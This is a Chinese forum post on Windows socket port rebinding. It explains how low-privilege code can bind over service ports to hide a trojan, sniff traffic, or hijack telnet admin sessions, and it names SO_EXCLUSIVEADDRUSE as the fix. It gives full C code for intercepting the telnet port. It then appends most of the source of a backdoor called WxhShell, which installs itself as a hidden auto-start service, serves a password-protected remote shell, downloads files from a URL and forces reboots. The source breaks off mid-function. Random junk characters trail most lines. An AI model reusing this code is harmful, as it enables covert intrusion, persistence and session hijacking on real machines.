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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;8oe-xS\+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xO_>%F^?  
t+ w{uwEY  
  saddr.sin_family = AF_INET; a X1b(h2  
u<8b5An;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tN<X3$aN  
/=YNkw5   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "gy&eR>  
hDi~{rbmc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n UmyPQ~  
F.U@8lr  
  这意味着什么?意味着可以进行如下的攻击: $B8Vg `+  
^?RH<z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~1;M4K  
|8f}3R 9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8#;=>m%  
YyYZD{^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G@/iK/>5|`  
\dCGu~bT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fV4rVy8  
z'l HL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S3/%;=|  
|K_%]1*riC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0Xb\w^  
l<XYDb~op  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ntLEk fK{  
8\68NG6o  
  #include H?O5 "4a  
  #include 6!>p<p"Ns  
  #include XfE0P(sE  
  #include    %SB4_ r*<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /pjl6dJ t  
  int main() "LTw;& y  
  { z=KDkpV  
  WORD wVersionRequested; `E1G9BbU  
  DWORD ret; C jf<,x$  
  WSADATA wsaData; 6HZtdRQF  
  BOOL val; sJx_X8  
  SOCKADDR_IN saddr; lIS`_H}  
  SOCKADDR_IN scaddr; Xr=BxBttp  
  int err; N `:MF 9  
  SOCKET s; Yw#fQFm  
  SOCKET sc; 9vP;i= fr  
  int caddsize; 7)QZ<fme  
  HANDLE mt; Xuu&`U~%  
  DWORD tid;   K?J_cnJ`  
  wVersionRequested = MAKEWORD( 2, 2 ); ,z.l#hj,{  
  err = WSAStartup( wVersionRequested, &wsaData ); 2Snb+,o2  
  if ( err != 0 ) { i=\)[;U  
  printf("error!WSAStartup failed!\n"); QTBc_Z  
  return -1; VOD-< "|  
  } Awa| (]  
  saddr.sin_family = AF_INET;  nBp6uNK[  
   rwJ U;wy  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l,lqhq\  
\{`^Q+<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qK7:[\T|?T  
  saddr.sin_port = htons(23); .Pj<Pe  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !O%!A<3  
  { %:'G={G`QH  
  printf("error!socket failed!\n"); yVnG+R&  
  return -1; !*Is0``  
  } MoN0w.V  
  val = TRUE; lGr=I-=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pC:YT/J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B>c$AS\5y  
  { /V09Na,N  
  printf("error!setsockopt failed!\n"); &u[{VR:  
  return -1; Ic4#Tk20i  
  } ?Fx~_GT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hhaiH i!$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]?+i6 [6U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =S{OzF  
:+DrV\)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SI~jM:S}  
  { jbipNgxkr  
  ret=GetLastError(); vN^.MR+<  
  printf("error!bind failed!\n"); V3ht:>c9qs  
  return -1; ~D3 S01ecM  
  } s>o#Ob@4'  
  listen(s,2); )KE  
  while(1) &*>.u8:r  
  { :.ZWYze  
  caddsize = sizeof(scaddr); h"+7cc@  
  //接受连接请求 *Z"`g %,;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &PE%tm  
  if(sc!=INVALID_SOCKET) Lq5xp<  
  { 60^j<O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >\[]z^J  
  if(mt==NULL) -B#1+rUW  
  { U.,S.WP+d  
  printf("Thread Creat Failed!\n"); =_pSfKR;  
  break; AwNr}9`  
  } "W"^0To  
  } vcdVck@  
  CloseHandle(mt); " Bx@(  
  } GIzB1cl:  
  closesocket(s); 6Yn>9llo}=  
  WSACleanup(); (*$F7oO<  
  return 0; 2pdeJ  
  }   FShjUl>mV  
  DWORD WINAPI ClientThread(LPVOID lpParam) I;NW!"pU  
  { Qz(2Iu{E]  
  SOCKET ss = (SOCKET)lpParam; c+3`hVV  
  SOCKET sc; QO}~"lMj  
  unsigned char buf[4096]; SM8N*WdiU  
  SOCKADDR_IN saddr; I`{*QU  
  long num; KbLSK  
  DWORD val; $h p UI  
  DWORD ret; %CHw+wT&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Cd)g8<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0YFXF  
  saddr.sin_family = AF_INET; 3[u- LYW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lo>9 \ Po  
  saddr.sin_port = htons(23); - $<oY88  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ) n O ^Ay  
  { }R<t=):  
  printf("error!socket failed!\n"); t9U6\ru  
  return -1; V?S}%-a  
  } Jm<NDE~rw  
  val = 100; qm!cv;}c1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Lbrl CB+  
  { 7he,(V  
  ret = GetLastError(); ^nNY| *  
  return -1; ?@4Mt2Z\  
  } AB/${RGf+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |K1S(m<F  
  { a6n@   
  ret = GetLastError(); > pb}@\;:  
  return -1; y!gPBkG&3n  
  } xR0*w7YE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V8 8u -  
  { &zF>5@fM  
  printf("error!socket connect failed!\n"); UDr 1t n  
  closesocket(sc); vU,7Y|t`  
  closesocket(ss); V\zcv@  
  return -1; (.P}>$M9  
  } `15}jTi  
  while(1) +8zACs{p  
  { 8%CznAO"?W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6 8,j~e3-i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,WWd%DF)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .)[E`a  
  num = recv(ss,buf,4096,0); 1rZ E2  
  if(num>0) KsOSPQDGE  
  send(sc,buf,num,0); )!27=R/  
  else if(num==0) 2*V%S/cck  
  break; dPu27 "  
  num = recv(sc,buf,4096,0); _MC',p&  
  if(num>0) Eh8GqFEM  
  send(ss,buf,num,0); K>+ v" x  
  else if(num==0) .zZfP+Q]8  
  break; *d C|X  
  } 5 NYS@76o7  
  closesocket(ss); 5Jo'h]  
  closesocket(sc); m+'1c}n^7  
  return 0 ; -lJ|x>PG'  
  } &mN]U<N  
;>Z+b#C[  
y_Lnk=Q ^  
========================================================== Xw9]WJc  
]2m=lt1  
下边附上一个代码,,WXhSHELL NW6;7nWb  
gS<p~LPf  
========================================================== tRU/[?!  
>97YK =  
#include "stdafx.h" CbM~\6 R  
NOs00H  
#include <stdio.h> u W,J5!  
#include <string.h> C '[4jz0xF  
#include <windows.h> {2q"9Ox"  
#include <winsock2.h> CrI<rD%'  
#include <winsvc.h> &'12,'8  
#include <urlmon.h> }Q: CZ  
wqDf\k}'v  
#pragma comment (lib, "Ws2_32.lib") VQ('ejv}/  
#pragma comment (lib, "urlmon.lib") 3y.+03 W  
@xdtl{5G  
#define MAX_USER   100 // 最大客户端连接数 =Ya^PAj '}  
#define BUF_SOCK   200 // sock buffer w&H>`l06  
#define KEY_BUFF   255 // 输入 buffer NE#`ZUr3  
WVyDE1K <  
#define REBOOT     0   // 重启 uB"B{:Kz  
#define SHUTDOWN   1   // 关机 .>;??BG}  
< !m.+  
#define DEF_PORT   5000 // 监听端口 <7`k[~)VB  
O<p=&=TD7  
#define REG_LEN     16   // 注册表键长度 bJMsB|r  
#define SVC_LEN     80   // NT服务名长度 t }4  
b)IQa,enH  
// 从dll定义API #L!`n )J"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ec<33i]h*p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UucX1%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r8YM#dF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f`ibP6%  
mxCneX  
// wxhshell配置信息 *^@b0f~vj  
struct WSCFG { tLKf]5}f  
  int ws_port;         // 监听端口 8OOAPp$%|  
  char ws_passstr[REG_LEN]; // 口令 UBW,Q+Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no vWmt<E|e  
  char ws_regname[REG_LEN]; // 注册表键名 K@n-#  
  char ws_svcname[REG_LEN]; // 服务名 m#WXZr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 02EX_tt),  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yz2N(g[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -l}"DP _  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S}Wj.l+F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tOVTHx3E]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wclj9&k  
k+[oYd  
}; J1(SL~e],  
~c v|,  
// default Wxhshell configuration Y!]a*==  
struct WSCFG wscfg={DEF_PORT, }8 ;,2E*z  
    "xuhuanlingzhe", H5d@TB, `  
    1, pFd{Tdh  
    "Wxhshell", 91R7Rrne  
    "Wxhshell", .7 j#F  
            "WxhShell Service", uDG>m7(}/h  
    "Wrsky Windows CmdShell Service", Z L0Vx6Ph  
    "Please Input Your Password: ", 38-kl,Vw  
  1, @>VX]Qe^X  
  "http://www.wrsky.com/wxhshell.exe", zK~_e\m  
  "Wxhshell.exe" !lg_zAV  
    }; 9+*{3 t  
Heqr1btK  
// 消息定义模块 gcwJ{&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y/UvNb<lK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vO?sHh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <z60E vHg  
char *msg_ws_ext="\n\rExit."; 7>zUT0SS  
char *msg_ws_end="\n\rQuit."; [H!do$[>  
char *msg_ws_boot="\n\rReboot..."; Z~(X[Zl :  
char *msg_ws_poff="\n\rShutdown..."; VG7#C@>Z  
char *msg_ws_down="\n\rSave to "; 19R~&E's  
&to~#.qc  
char *msg_ws_err="\n\rErr!"; U7U&^s6`  
char *msg_ws_ok="\n\rOK!"; 1h`F*:nva  
OSuQ7V  
char ExeFile[MAX_PATH]; KgYQxEbIW  
int nUser = 0; IX 6 jb"  
HANDLE handles[MAX_USER]; }Uj-R3]}K  
int OsIsNt; HrLws95'  
_~1O#*|4  
SERVICE_STATUS       serviceStatus; Jon3ywd1Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EpACd8Fb  
C+!=C{@7di  
// 函数声明 Y[b08{/  
int Install(void); .(p_YjIA  
int Uninstall(void); P;XA|`&  
int DownloadFile(char *sURL, SOCKET wsh); kn$SG  
int Boot(int flag); d$\n@}8eZp  
void HideProc(void); 1M)88&  
int GetOsVer(void); {gEz;:!):  
int Wxhshell(SOCKET wsl); f[NxqNn  
void TalkWithClient(void *cs); RI'}C`%v  
int CmdShell(SOCKET sock); Z8h;3Ek  
int StartFromService(void); MsIaMW_  
int StartWxhshell(LPSTR lpCmdLine); bly `m p8#  
3LQ u+EsS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?^:5`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }|/<!l+;$  
e GAto  
// 数据结构和表定义 3`3my=   
SERVICE_TABLE_ENTRY DispatchTable[] = qMVuBv  
{ LhF;A~L  
{wscfg.ws_svcname, NTServiceMain}, lM#/F\  
{NULL, NULL} X pK eN2=p  
}; 3^H-,b0^  
qOD^ P  
// 自我安装 w=nS*Qy 2  
int Install(void) ]GHw~s?  
{ H_8PK$c;  
  char svExeFile[MAX_PATH]; WuWOC6^  
  HKEY key; xG4 C 6s  
  strcpy(svExeFile,ExeFile); \ D>!&   
x^`P[>  
// 如果是win9x系统,修改注册表设为自启动 C.u) 2[(  
if(!OsIsNt) { Tsu\4 cL]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /i!/)]*-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u1'l4VgT  
  RegCloseKey(key); Wxj(3lg/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wl&6T1A`"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +sZY0(|K8  
  RegCloseKey(key); FD~uUZTM  
  return 0; #Wl9[W/4  
    } ~r})&`5  
  } AKLFUk  
} uu0t}3l  
else { FFVh~em{  
1,P2}mYv  
// 如果是NT以上系统,安装为系统服务 UBnHtsM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P 2x.rukT|  
if (schSCManager!=0) xOxyz6B\  
{ +:C.G[+  
  SC_HANDLE schService = CreateService Qdc#v\B  
  ( h|z59h&X8G  
  schSCManager, 2xy{g&G  
  wscfg.ws_svcname, G!F_Q7|-  
  wscfg.ws_svcdisp, Z_jV0[\v0P  
  SERVICE_ALL_ACCESS, %gqu7}'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ql}#mC.>/  
  SERVICE_AUTO_START, sx[mbKj<  
  SERVICE_ERROR_NORMAL, ZI :wJU:f  
  svExeFile, D_z&G)  
  NULL, |ns9ziTDI  
  NULL, `ST;";7!  
  NULL, N4yQ,tG>aa  
  NULL, LmROG-9  
  NULL C91'dM  
  ); R6o07.]  
  if (schService!=0) &oVZ2.O#(  
  { iqd7  
  CloseServiceHandle(schService); 2mthUq9b*  
  CloseServiceHandle(schSCManager); h5E<wyd96.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); caTKi8  
  strcat(svExeFile,wscfg.ws_svcname); ?|<p^:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u]3VK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i#U_g:~wC  
  RegCloseKey(key); d\ 7OtM  
  return 0; ` gor  
    } bHs},i6  
  } NU7k2`bqAk  
  CloseServiceHandle(schSCManager); TDR#'i  
} wD pL9q  
} lz#@_F|.*  
Hg(nC*#/Q  
return 1; Io7 =Mc4  
} `Go oSX  
m FC9\   
// 自我卸载 <;Td8T;  
int Uninstall(void) ,UT :wpc^i  
{ ~05(92bK  
  HKEY key; 8\`otJY  
OBM&N  
if(!OsIsNt) { cbx( L8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1[?xf4EMG  
  RegDeleteValue(key,wscfg.ws_regname); bFIv}c+;  
  RegCloseKey(key); j4D`Xq2 X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zr!CT5C5  
  RegDeleteValue(key,wscfg.ws_regname); te3\MSv;O  
  RegCloseKey(key); y2x)<.cDP  
  return 0; _cc9+o  
  } wqQrby<  
} rY=dNK]d  
} \z-OJ1[F  
else { N?%FVF  
kgFx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /T<,vR  
if (schSCManager!=0) hQJ-  ~  
{ (Vy`u)gG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l\=He  
  if (schService!=0) KJ6:ZTbW  
  { &K,rNH'R  
  if(DeleteService(schService)!=0) { +d8?=LX  
  CloseServiceHandle(schService); A0uA\E4q  
  CloseServiceHandle(schSCManager); qzE -y-9@  
  return 0; % ELf 7~  
  } ^;mGOjS  
  CloseServiceHandle(schService); rx(z::  
  } q9m-d-!)  
  CloseServiceHandle(schSCManager); ]K>x:vMKH  
} 4 eP-yi  
} u*!/J R  
J*f..:m  
return 1; v<S?"# ]F=  
} +JBYGYN&K  
b@N*W]  
// 从指定url下载文件 bdyE9t   
int DownloadFile(char *sURL, SOCKET wsh) HNL;s5gq  
{ P/~kX_  
  HRESULT hr; 8IihG \  
char seps[]= "/"; JI~@H /j  
char *token; E1rxuV|9  
char *file; .l]w4Hf  
char myURL[MAX_PATH]; G2_l}q~  
char myFILE[MAX_PATH]; kF"G {5  
k/#321Z  
strcpy(myURL,sURL); \kksZ4,  
  token=strtok(myURL,seps); = M/($PA  
  while(token!=NULL) 'uV;)~  
  { Eh?,-!SUQn  
    file=token; C'//(gjQ-G  
  token=strtok(NULL,seps); Vbpt?1:  
  } zF=E5TL-,4  
pr"~W8  
GetCurrentDirectory(MAX_PATH,myFILE); h*X u/aOg  
strcat(myFILE, "\\"); gK"E4{y_@  
strcat(myFILE, file); JNgl  
  send(wsh,myFILE,strlen(myFILE),0); S"joXmJ/-C  
send(wsh,"...",3,0); 7S]akcT/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ejPK-jxCa/  
  if(hr==S_OK) )3KQ QGi8  
return 0; :k.C|V!W  
else 7<3eB)S  
return 1; UZRCJ  
C{Er%  
} ;K<W<v5m0N  
N2S7=`5/T  
// 系统电源模块 roG f &  
int Boot(int flag) n g?kl|VG  
{ ZzV%+n7<Vx  
  HANDLE hToken; :f58JLX  
  TOKEN_PRIVILEGES tkp; M%Dv-D{  
qHQ#^jH  
  if(OsIsNt) { = ^A/&[&31  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JRl`evTS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lCMU{)  
    tkp.PrivilegeCount = 1; q`DilZ]S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h$y0>eMWs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s+yX82Y  
if(flag==REBOOT) {  } h0 )  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qh. : N  
  return 0; a6fqtkZ x  
} 00)=3@D  
else { H- aSLc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) } h pTS_  
  return 0; Y^W.gGM  
} $s-HG[lX[  
  } \+B+M 7  
  else { c'r7sI%Yi  
if(flag==REBOOT) { qdeS*r p\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -P>f2It  
  return 0; ;F!wyTF>}  
} 4TW>BA  
else {  B Ji  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2K1odqO#   
  return 0; K1K3s< y+  
} OCVF+D :  
} E _DSf  
[J.-gN$X@  
return 1; zS##YR  
} +W P  
=9ISsI\Y6  
// win9x进程隐藏模块 D.\s mk  
void HideProc(void) : {Crc   
{ fhZD#D  
;0f?-W?1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3Vj,O?(Z  
  if ( hKernel != NULL ) On{p(| l  
  { (X"WEp^Q{I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,3`RM $  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AK*F,H9  
    FreeLibrary(hKernel); U0kEhMIIf  
  } _jW}p-j  
TZ,kmk#  
return; szy^kj^2  
} 9"YOj_z  
s-He  
// 获取操作系统版本 IT u6m<V  
int GetOsVer(void) kM,$0 @  
{ naT;K0T=  
  OSVERSIONINFO winfo; . !|3a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nUL8*#p-  
  GetVersionEx(&winfo); s2-p -n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Iw0Q1bK(  
  return 1; StP7t  
  else Q'~2,%3<  
  return 0; Ox` +Z0)a  
} n"1LVJN7  
z5G$'  
// 客户端句柄模块 clZ jb  
int Wxhshell(SOCKET wsl) q! +?  
{ C?3?<FDL  
  SOCKET wsh; B>CG/]  
  struct sockaddr_in client; <d\Lvo[  
  DWORD myID; :u7y k@  
t(|\3$z  
  while(nUser<MAX_USER) ;{e;6Hq  
{ K)AJx"  
  int nSize=sizeof(client); S"Dw8_y7}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c bk|LQ.O  
  if(wsh==INVALID_SOCKET) return 1; ? D?XaRb  
D e>'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JZ5N Q)sX  
if(handles[nUser]==0) "@JSF  
  closesocket(wsh); X~O2!F  
else xsq+RBJi  
  nUser++; F~cvob{  
  } gt9{u"o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); luyU!  
6Y|jK< n?H  
  return 0; ",\,lqV  
} 4$+9Wv  
qn+b*4  
// 关闭 socket < xm>_~,w  
void CloseIt(SOCKET wsh) tnbtfG;z#  
{ ~ l'dpg  
closesocket(wsh); lkWID  
nUser--; (bIg6_U7\  
ExitThread(0); 2sJj -3J  
} Sn\S `D  
7B`,q-x.  
// 客户端请求句柄 y~JCSzpU  
void TalkWithClient(void *cs) CV~\xYY  
{ `i8KIE  
)|88wa(M  
  SOCKET wsh=(SOCKET)cs; abq$OI  
  char pwd[SVC_LEN]; ==[a7|q  
  char cmd[KEY_BUFF]; $ePBw~yu  
char chr[1]; I$o^F/RH  
int i,j; H}OOkzwrA  
5Mfs)a4j.  
  while (nUser < MAX_USER) { cC_L4  
D2`tWRm0  
if(wscfg.ws_passstr) { W?a2P6mAh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rRN7H L+b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NM0[yh  
  //ZeroMemory(pwd,KEY_BUFF); 8#gS{   
      i=0; GT[,[l  
  while(i<SVC_LEN) { !H`Q^Xf}  
BTXS+mvl  
  // 设置超时 [/}y!;3iXM  
  fd_set FdRead; qV%t[>  
  struct timeval TimeOut; #OKzJ"g  
  FD_ZERO(&FdRead); I<q=lK  
  FD_SET(wsh,&FdRead); *RQkL'tRf  
  TimeOut.tv_sec=8; sbZ$h <  
  TimeOut.tv_usec=0; 7a@%^G @!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R6ynL([xh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }U=|{@%  
%z6.}4h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '1lr "}"Q+  
  pwd=chr[0]; 5 } 9}4e  
  if(chr[0]==0xd || chr[0]==0xa) { X]J]7\4tF\  
  pwd=0; 7gR8Wr ^  
  break; "#H@d+u  
  } J`T1 88  
  i++; (~~*PT-  
    } m@hmu}qz-  
WKf->W  
  // 如果是非法用户,关闭 socket K|-?1)Um  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =qY!<DB[L  
} P=:mn>  
?=:wIMV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #"^F:: b-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VZ?"yUZ Id  
oyGO!j  
while(1) { 3"O)"/"Q.  
CKShz]1  
  ZeroMemory(cmd,KEY_BUFF); UXz0HRRS0  
B!|<<;Da6  
      // 自动支持客户端 telnet标准   ~c>*3*  
  j=0; -jc8ku3*  
  while(j<KEY_BUFF) { 2\flTO2Ny  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;\@co5.=  
  cmd[j]=chr[0]; olNgtSX  
  if(chr[0]==0xa || chr[0]==0xd) { =Rl?. +uE  
  cmd[j]=0; ), >jBYMJ  
  break; M+<xX)   
  } d, fX3  
  j++; @V/Lqia  
    } ?)$+W+vK  
Y}_J@&:  
  // 下载文件 ?dJ-g~  
  if(strstr(cmd,"http://")) { W]!{Y'G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s? /#8 `  
  if(DownloadFile(cmd,wsh)) Ys@M1o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ecK{+Z'G  
  else bI)ItC_wf!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  (f DA  
  } E|ce[|2  
  else { 60KhwD1  
Tu Q@b  
    switch(cmd[0]) { xtef18i>  
  1Ih.?7}  
  // 帮助 I\JJ7/S`t  
  case '?': { 5!2^|y4r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $d1+d;Mn  
    break; =VMV^[&>  
  } Oj<.3U[C  
  // 安装 +u1meh3u  
  case 'i': { h_K(8{1  
    if(Install()) 49%qBO$R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @SREyqC4  
    else P q\m8iS,w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mp:/[%9Fi  
    break; ?Z-(SC  
    } !xs. [&u8  
  // 卸载 G=lcKtMdg  
  case 'r': { Hl"qLrb4  
    if(Uninstall()) i{8T 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r<]Db&k   
    else M)Iu'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aRBTuLa)fo  
    break; ^dB~#A1  
    } [KA&KI^hF  
  // 显示 wxhshell 所在路径 7 jq?zS|  
  case 'p': { ViV"+b#gu  
    char svExeFile[MAX_PATH]; }."3&u't  
    strcpy(svExeFile,"\n\r"); fsU6o4  
      strcat(svExeFile,ExeFile); G% wVQ|1  
        send(wsh,svExeFile,strlen(svExeFile),0); i>!7/o  
    break; [6@{^  
    } sY4sq5'!  
  // 重启 i"=6n>\  
  case 'b': { 1O bxQ_x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x`@!hJc:[e  
    if(Boot(REBOOT)) Lpw9hj|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D}|PBR  
    else { bWzv7#dd=  
    closesocket(wsh); G}aw{Vbg_  
    ExitThread(0); # Ny  
    } IUco 8  
    break; Nx~9Ug  
    } |zD{]y?S-  
  // 关机 JcsJfTI  
  case 'd': { (lwrk(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <rUH\z5cP  
    if(Boot(SHUTDOWN)) /.<tC(  
